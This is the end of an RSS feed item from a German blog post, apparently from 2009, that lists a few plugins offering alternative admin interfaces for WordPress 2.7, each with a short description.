			<content:encoded><![CDATA[<div id="attachment_1299" class="wp-caption alignright" style="width: 160px"><a title="Admin Drop Down Menu" href="http://www.knevels.org/uploads/2009/02/admindropdown.jpg"><img class="size-thumbnail wp-image-1299" title="admindropdown" src="http://www.knevels.org/uploads/2009/02/admindropdown-150x150.jpg" alt="admindropdown" width="150" height="150" /></a><p class="wp-caption-text">Admin Drop Down Menu</p></div>
<p>WordPress hat mit der Version 2.7 ein komplett überarbeitetes Interface-Design erhalten. Trotzdem finde ich es nicht besonders übersichtlich, weshalb ich hier eine kleine Auswahl an Alternativen und Ergänzungen zusammengetragen habe.</p>
<ul>
<li><a href="http://deanjrobinson.com/projects/fluency-admin/">Fluency Admin 2.0</a> &#8211; Hover Menü am linken Bildschirmrand<a href="http://deanjrobinson.com/projects/fluency-admin/"><br />
</a></li>
<li><a href="http://planetozh.com/blog/my-projects/wordpress-admin-menu-drop-down-css/">Admin Drop Down Menu</a> &#8211; Dropdown statt sidebar mit famfam Icons<a href="http://planetozh.com/blog/my-projects/wordpress-admin-menu-drop-down-css/"><br />
</a></li>
<li><a href="http://www.schloebe.de/wordpress/admin-management-xtended-plugin/">Admin Management Extended</a> &#8211; Ajax-beschleunigung für Schnelleres Artikeltaggen / Datumsänderungen etc. ohne Reload<a href="http://www.schloebe.de/wordpress/admin-management-xtended-plugin/"><br />
</a></li>
<li><a href="http://bueltge.de/wordpress-admin-theme-adminimize/674/">Adminimize</a> &#8211; Neue Farbschemen, Möglichkeit den Adminpanel-Footer auszublenden, Userabhängige Farbschemen, Menüeinträge ausblenden und viele Backend-Einstellungen</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://dropspace.de/2009/02/05/wordpess-27-admin-interfaces/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

